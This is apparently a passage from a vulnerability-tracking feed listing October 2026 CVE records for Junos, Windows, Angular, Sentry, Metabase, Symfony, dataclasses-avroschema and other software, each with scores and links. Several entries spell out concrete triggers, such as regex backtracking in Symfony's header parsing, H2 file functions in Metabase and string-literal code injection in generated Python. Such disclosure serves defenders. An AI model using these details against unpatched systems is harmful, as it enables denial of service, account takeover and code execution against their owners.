### An Integer Overflow or Wraparound vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an attacker to cause a denial of...
https://kevwire.com/record/CVE-2026-101944
An Integer Overflow or Wraparound vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an attacker to cause a denial of... (Oct 14, 2026).
An Integer Overflow or Wraparound vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an attacker to cause a denial of service via specially crafted EVPN route updates from an accepted EVPN BGP peer.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101944).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101944&date=2026-10-25).
Sources:
NVD CVE-2026-101944: https://nvd.nist.gov/vuln/detail/CVE-2026-101944
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101944&date=2026-10-25
An Integer Overflow or Wraparound vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an attacker to cause a denial of service via specially crafted EVPN route updates from an accepted EVPN BGP peer.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A NULL Pointer Dereference vulnerability in the routing protocol daemon (RPD) of Juniper Networks Junos OS and Junos OS Evolved allows a configured peer sending a BGP UPDATE to...
https://kevwire.com/record/CVE-2026-101939
A NULL Pointer Dereference vulnerability in the routing protocol daemon (RPD) of Juniper Networks Junos OS and Junos OS Evolved allows a configured peer sending a BGP UPDATE to... (Oct 14, 2026).
A NULL Pointer Dereference vulnerability in the routing protocol daemon (RPD) of Juniper Networks Junos OS and Junos OS Evolved allows a configured peer sending a BGP UPDATE to cause a denial of service when an import policy with `then source-based-forwarding next-hop next-table <X>` is configured to reference a routing table that does not exist.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101939).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101939&date=2026-10-25).
Sources:
NVD CVE-2026-101939: https://nvd.nist.gov/vuln/detail/CVE-2026-101939
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101939&date=2026-10-25
A NULL Pointer Dereference vulnerability in the routing protocol daemon (RPD) of Juniper Networks Junos OS and Junos OS Evolved allows a configured peer sending a BGP UPDATE to cause a denial of service when an import policy with `then source-based-forwarding next-hop next-table <X>` is configured to reference a routing table that does not exist.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Stack-based buffer overflow in Windows Host Guardian Service allows an unauthorized attacker to deny service over a network.
https://kevwire.com/record/CVE-2026-96248
Stack-based buffer overflow in Windows Host Guardian Service allows an unauthorized attacker to deny service over a network. (Oct 13, 2026).
Stack-based buffer overflow in Windows Host Guardian Service allows an unauthorized attacker to deny service over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96248).
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96248&date=2026-10-25).
Sources:
NVD CVE-2026-96248: https://nvd.nist.gov/vuln/detail/CVE-2026-96248
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96248
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96248&date=2026-10-25
Stack-based buffer overflow in Windows Host Guardian Service allows an unauthorized attacker to deny service over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96249
Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96249).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96249&date=2026-10-25).
Sources:
NVD CVE-2026-96249: https://nvd.nist.gov/vuln/detail/CVE-2026-96249
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96249
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96249&date=2026-10-25
Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SeaweedFS is a distributed storage system for files and blobs.
https://kevwire.com/record/CVE-2026-100413
SeaweedFS is a distributed storage system for files and blobs. (Oct 14, 2026).
SeaweedFS is a distributed storage system for files and blobs. From 4.0.388 until 4.41, the SFTP Helm chart embedded one unencrypted Ed25519 private host key in k8s/charts/seaweedfs/templates/sftp/sftp-secret.yaml as stringData.seaweedfs_sftp_ssh_private_key. A standalone deployment presented that public key when sftp.enabled and sftp.enableAuth were true, sftp.existingConfigSecret was not supplied, the legacy sftp.sshPrivateKey path remained selected, a valid config-ssh Secret allowed startup, and hostKeysFolder did not provide a later Ed25519 signer. An attacker able to redirect or intercept client traffic could impersonate that SFTP endpoint to clients that trusted the published host identity, exposing password credentials or data sent to the rogue endpoint. Default all-in-one and non-authenticated standalone paths did not load the key. This issue is fixed in version 4.41.
CVSS 7.0 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100413).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100413&date=2026-10-25).
Sources:
NVD CVE-2026-100413: https://nvd.nist.gov/vuln/detail/CVE-2026-100413
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100413&date=2026-10-25
SeaweedFS is a distributed storage system for files and blobs. From 4.0.388 until 4.41, the SFTP Helm chart embedded one unencrypted Ed25519 private host key in k8s/charts/seaweedfs/templates/sftp/sftp-secret.yaml as stringData.seaweedfs_sftp_ssh_private_key. A standalone deployment presented that public key when sftp.enabled and sftp.enableAuth were true, sftp.existingConfigSecret was not supplied, the legacy sftp.sshPrivateKey path remained selected, a valid config-ssh Secret allowed startup, and hostKeysFolder did not provide a later Ed25519 signer. An attacker able to redirect or intercept client traffic could impersonate that SFTP endpoint to clients that trusted the published host identity, exposing password credentials or data sent to the rogue endpoint. Default all-in-one and non-authenticated standalone paths did not load the key. This issue is fixed in version 4.41.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages.
https://kevwire.com/record/CVE-2026-101895
Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. (Oct 14, 2026).
Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.31, 21.2.23, and 22.1.6, the @angular/platform-server DOM emulation parser can enter an infinite synchronous loop when Angular server-side rendering processes attacker-controlled HTML containing an incomplete DOCTYPE that ends with whitespace at end of input. In Domino lib/HTMLParser.js, after_doctype_name_state emits doctype and EOF tokens without advancing nextchar or leaving the fixed-lookahead state, so the scanner repeatedly handles the same EOF marker. A remote unauthenticated attacker can use this condition through server-side HTML parsing paths such as innerHTML binding to consume a Node.js SSR worker at full CPU, starve the event loop, and stop concurrent and subsequent requests. This issue is fixed in versions 20.3.31, 21.2.23, and 22.1.6.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101895).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101895&date=2026-10-25).
Sources:
NVD CVE-2026-101895: https://nvd.nist.gov/vuln/detail/CVE-2026-101895
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101895&date=2026-10-25
Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.31, 21.2.23, and 22.1.6, the @angular/platform-server DOM emulation parser can enter an infinite synchronous loop when Angular server-side rendering processes attacker-controlled HTML containing an incomplete DOCTYPE that ends with whitespace at end of input. In Domino lib/HTMLParser.js, after_doctype_name_state emits doctype and EOF tokens without advancing nextchar or leaving the fixed-lookahead state, so the scanner repeatedly handles the same EOF marker. A remote unauthenticated attacker can use this condition through server-side HTML parsing paths such as innerHTML binding to consume a Node.js SSR worker at full CPU, starve the event loop, and stop concurrent and subsequent requests. This issue is fixed in versions 20.3.31, 21.2.23, and 22.1.6.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Sentry is an application monitoring and error tracking platform.
https://kevwire.com/record/CVE-2026-102899
Sentry is an application monitoring and error tracking platform. (Oct 14, 2026).
Sentry is an application monitoring and error tracking platform. From 26.5.0 until 26.7.2, the SAML SSO identity-linking flow allows an attacker who controls a SAML identity provider to socially engineer an authenticated user into opening a malicious URL, link the attacker's identity to the victim's Sentry account, and take control of that account. The attack requires a browser that accepts the cross-site cookie context, including Firefox with SameSite=None cookies or Chromium with third-party cookies enabled. Sentry SaaS received the remediation on July 27, 2026, and self-hosted Sentry is fixed in version 26.7.2.
CVSS 7.6 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102899).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102899&date=2026-10-25).
Sources:
NVD CVE-2026-102899: https://nvd.nist.gov/vuln/detail/CVE-2026-102899
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102899&date=2026-10-25
Sentry is an application monitoring and error tracking platform. From 26.5.0 until 26.7.2, the SAML SSO identity-linking flow allows an attacker who controls a SAML identity provider to socially engineer an authenticated user into opening a malicious URL, link the attacker's identity to the victim's Sentry account, and take control of that account. The attack requires a browser that accepts the cross-site cookie context, including Firefox with SameSite=None cookies or Chromium with third-party cookies enabled. Sentry SaaS received the remediation on July 27, 2026, and self-hosted Sentry is fixed in version 26.7.2.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### TanStack Router is a client-first, server-capable, fully type-safe router and full-stack framework for the web.
https://kevwire.com/record/CVE-2026-102989
TanStack Router is a client-first, server-capable, fully type-safe router and full-stack framework for the web. (Oct 13, 2026).
TanStack Router is a client-first, server-capable, fully type-safe router and full-stack framework for the web. From 1.143.12 until 1.169.39 for @tanstack/start-server-core, 1.168.60 for @tanstack/react-start, 1.168.57 for @tanstack/solid-start, and 1.168.56 for @tanstack/vue-start, an unauthenticated attacker can place non-public fields in a server-function request payload so that attacker-controlled middleware state reaches the error path and a response-shaped object is accepted as an HTTP response. A crafted server-function URL can therefore return attacker-controlled HTML from the application's origin; when a visitor opens the URL, the injected script can access same-origin data and issue requests with the visitor's authority. This issue is fixed in @tanstack/start-server-core 1.169.39, @tanstack/react-start 1.168.60, @tanstack/solid-start 1.168.57, and @tanstack/vue-start 1.168.56.
CVSS 9.3 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102989).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102989&date=2026-10-25).
Sources:
NVD CVE-2026-102989: https://nvd.nist.gov/vuln/detail/CVE-2026-102989
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102989&date=2026-10-25
TanStack Router is a client-first, server-capable, fully type-safe router and full-stack framework for the web. From 1.143.12 until 1.169.39 for @tanstack/start-server-core, 1.168.60 for @tanstack/react-start, 1.168.57 for @tanstack/solid-start, and 1.168.56 for @tanstack/vue-start, an unauthenticated attacker can place non-public fields in a server-function request payload so that attacker-controlled middleware state reaches the error path and a response-shaped object is accepted as an HTTP response. A crafted server-function URL can therefore return attacker-controlled HTML from the application's origin; when a visitor opens the URL, the injected script can access same-origin data and issue requests with the visitor's authority. This issue is fixed in @tanstack/start-server-core 1.169.39, @tanstack/react-start 1.168.60, @tanstack/solid-start 1.168.57, and @tanstack/vue-start 1.168.56.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Metabase is an open source business intelligence and analytics platform.
https://kevwire.com/record/CVE-2026-103928
Metabase is an open source business intelligence and analytics platform. (Oct 13, 2026).
Metabase is an open source business intelligence and analytics platform. From 1.55.0 until 1.58.16, 1.59.13, 1.60.9, and 1.61.4, native queries and actions against an H2 data source are passed through without restricting host-facing built-in functions. A user authorized to run native queries or actions can invoke FILE_READ, FILE_WRITE, CSVREAD, CSVWRITE, or LINK_SCHEMA to read or write arbitrary files on the Metabase server or link other databases. The default sample database uses H2, so the vulnerable surface is exposed by default. This issue is fixed in versions 1.58.16, 1.59.13, 1.60.9, and 1.61.4.
CVSS 9.3 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103928).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103928&date=2026-10-25).
Sources:
NVD CVE-2026-103928: https://nvd.nist.gov/vuln/detail/CVE-2026-103928
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103928&date=2026-10-25
Metabase is an open source business intelligence and analytics platform. From 1.55.0 until 1.58.16, 1.59.13, 1.60.9, and 1.61.4, native queries and actions against an H2 data source are passed through without restricting host-facing built-in functions. A user authorized to run native queries or actions can invoke FILE_READ, FILE_WRITE, CSVREAD, CSVWRITE, or LINK_SCHEMA to read or write arbitrary files on the Metabase server or link other databases. The default sample database uses H2, so the vulnerable surface is exposed by default. This issue is fixed in versions 1.58.16, 1.59.13, 1.60.9, and 1.61.4.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### AdonisJS HTTP Server is a package for handling HTTP requests in the AdonisJS framework.
https://kevwire.com/record/CVE-2026-104150
AdonisJS HTTP Server is a package for handling HTTP requests in the AdonisJS framework. (Oct 15, 2026).
AdonisJS HTTP Server is a package for handling HTTP requests in the AdonisJS framework. Prior to 8.2.2 and 9.1.1, the regular expression returned by router.matchers.slug() contains adjacent greedy repetitions with overlapping character classes. When an application applies this matcher to an attacker-controlled route parameter, a long slug ending in a character rejected by the final assertion causes quadratic backtracking and excessive CPU use. Route matching occurs before route and group middleware, so authentication or rate-limiting middleware attached to the route may not prevent an unauthenticated request from blocking the Node.js event loop and stopping the worker from serving unrelated requests or health checks. This issue is fixed in versions 8.2.2 and 9.1.1.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-104150).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-104150&date=2026-10-25).
Sources:
NVD CVE-2026-104150: https://nvd.nist.gov/vuln/detail/CVE-2026-104150
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-104150&date=2026-10-25
AdonisJS HTTP Server is a package for handling HTTP requests in the AdonisJS framework. Prior to 8.2.2 and 9.1.1, the regular expression returned by router.matchers.slug() contains adjacent greedy repetitions with overlapping character classes. When an application applies this matcher to an attacker-controlled route parameter, a long slug ending in a character rejected by the final assertion causes quadratic backtracking and excessive CPU use. Route matching occurs before route and group middleware, so authentication or rate-limiting middleware attached to the route may not prevent an unauthenticated request from blocking the Node.js event loop and stopping the worker from serving unrelated requests or health checks. This issue is fixed in versions 8.2.2 and 9.1.1.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Symfony is a PHP framework for web and console applications and a set of reusable PHP components.
https://kevwire.com/record/CVE-2026-108082
Symfony is a PHP framework for web and console applications and a set of reusable PHP components. (Oct 15, 2026).
Symfony is a PHP framework for web and console applications and a set of reusable PHP components. Prior to versions 5.4.54, 6.4.46, 7.4.19, and 8.1.7, HeaderUtils::split() parsed header values with a pattern whose token alternative also matched whitespace, followed by a (?<!\s) lookbehind. A run of whitespace placed before a separator could be divided among the iterations of the enclosing repetition in exponentially many ways, and the engine tried all of them before settling. HeaderBag calls it for the Cache-Control header whenever a Request is built, so any application handling HTTP requests is reachable, with no authentication.



A single request carrying such a header costs close to a second of CPU (813 ms for a run of 17 spaces in an 8 KB header on PHP 8.5, doubling with each extra space). From 18 spaces on, preg_match_all() gives up at pcre.backtrack_limit and split() returns an empty array, so every directive of the header is silently dropped.



This issue affects symfony/http-foundation v4.1.0-BETA1 through v5.4.53, v6.0.0-BETA1 through v6.4.45, v7.0.0-BETA1 through v7.4.18, and v8.0.0-BETA1 through v8.1.6.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108082).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108082&date=2026-10-25).
Sources:
NVD CVE-2026-108082: https://nvd.nist.gov/vuln/detail/CVE-2026-108082
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108082&date=2026-10-25
Symfony is a PHP framework for web and console applications and a set of reusable PHP components. Prior to versions 5.4.54, 6.4.46, 7.4.19, and 8.1.7, HeaderUtils::split() parsed header values with a pattern whose token alternative also matched whitespace, followed by a (?<!\s) lookbehind. A run of whitespace placed before a separator could be divided among the iterations of the enclosing repetition in exponentially many ways, and the engine tried all of them before settling. HeaderBag calls it for the Cache-Control header whenever a Request is built, so any application handling HTTP requests is reachable, with no authentication.



A single request carrying such a header costs close to a second of CPU (813 ms for a run of 17 spaces in an 8 KB header on PHP 8.5, doubling with each extra space). From 18 spaces on, preg_match_all() gives up at pcre.backtrack_limit and split() returns an empty array, so every directive of the header is silently dropped.



This issue affects symfony/http-foundation v4.1.0-BETA1 through v5.4.53, v6.0.0-BETA1 through v6.4.45, v7.0.0-BETA1 through v7.4.18, and v8.0.0-BETA1 through v8.1.6.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas.
https://kevwire.com/record/CVE-2026-108375
dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. (Oct 13, 2026).
dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. From version 0.38.0 through 0.70.5, FieldRepresentation.get_field_default inserts schema-controlled string, UUID, bytes, and fixed field defaults into quoted literals in generated Python source without escaping them. A crafted default can terminate the literal and inject statements into the generated module, which execute when the module is imported. Version 0.70.6 fixes the vulnerability by escaping schema values rendered into generated string literals.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108375).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108375&date=2026-10-25).
Sources:
NVD CVE-2026-108375: https://nvd.nist.gov/vuln/detail/CVE-2026-108375
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108375&date=2026-10-25
dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. From version 0.38.0 through 0.70.5, FieldRepresentation.get_field_default inserts schema-controlled string, UUID, bytes, and fixed field defaults into quoted literals in generated Python source without escaping them. A crafted default can terminate the literal and inject statements into the generated module, which execute when the module is imported. Version 0.70.6 fixes the vulnerability by escaping schema values rendered into generated string literals.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas.
https://kevwire.com/record/CVE-2026-108377
dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. (Oct 13, 2026).
dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. From version 0.62.3 through 0.70.5, ClassRepresentation.render_metaclass inserts a schema-controlled Avro record name into the quoted Meta.schema_name field of generated Python source without escaping it. A crafted name can terminate the string literal and inject statements into the generated class body, which execute when the generated module is imported. Version 0.70.6 fixes the vulnerability by escaping schema values rendered into generated string literals.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108377).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108377&date=2026-10-25).
Sources:
NVD CVE-2026-108377: https://nvd.nist.gov/vuln/detail/CVE-2026-108377
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108377&date=2026-10-25
dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. From version 0.62.3 through 0.70.5, ClassRepresentation.render_metaclass inserts a schema-controlled Avro record name into the quoted Meta.schema_name field of generated Python source without escaping it. A crafted name can terminate the string literal and inject statements into the generated class body, which execute when the generated module is imported. Version 0.70.6 fixes the vulnerability by escaping schema values rendered into generated string literals.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas.
https://kevwire.com/record/CVE-2026-108378
dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. (Oct 13, 2026).
dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. From version 0.40.0 through 0.70.5, ClassRepresentation.render_docstring copies a schema record's doc value into a generated triple-double-quoted class docstring without escaping quotes or backslashes. A crafted triple-quote sequence can close the docstring and inject statements into the generated class body, while a trailing backslash can escape the generated closing delimiter, allowing Python code execution during module import. Version 0.70.6 fixes the vulnerability by escaping quotes, backslashes, and unsafe control characters before rendering docstrings.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108378).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108378&date=2026-10-25).
Sources:
NVD CVE-2026-108378: https://nvd.nist.gov/vuln/detail/CVE-2026-108378
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108378&date=2026-10-25
dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. From version 0.40.0 through 0.70.5, ClassRepresentation.render_docstring copies a schema record's doc value into a generated triple-double-quoted class docstring without escaping quotes or backslashes. A crafted triple-quote sequence can close the docstring and inject statements into the generated class body, while a trailing backslash can escape the generated closing delimiter, allowing Python code execution during module import. Version 0.70.6 fixes the vulnerability by escaping quotes, backslashes, and unsafe control characters before rendering docstrings.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas.
https://kevwire.com/record/CVE-2026-108382
dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. (Oct 13, 2026).
dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. From version 0.38.0 through 0.70.5, EnumRepresentation.render_symbols concatenates each schema-controlled enum symbol between double quotes in a generated enum assignment. When generator classes are used directly, a quote can terminate the string literal and inject arbitrary Python code into the enum class body, which executes when the generated module is imported. Version 0.70.6 fixes the vulnerability by escaping enum symbol values before rendering them.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108382).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108382&date=2026-10-25).
Sources:
NVD CVE-2026-108382: https://nvd.nist.gov/vuln/detail/CVE-2026-108382
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108382&date=2026-10-25
dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. From version 0.38.0 through 0.70.5, EnumRepresentation.render_symbols concatenates each schema-controlled enum symbol between double quotes in a generated enum assignment. When generator classes are used directly, a quote can terminate the string literal and inject arbitrary Python code into the enum class body, which executes when the generated module is imported. Version 0.70.6 fixes the vulnerability by escaping enum symbol values before rendering them.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas.
https://kevwire.com/record/CVE-2026-108383
dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. (Oct 13, 2026).
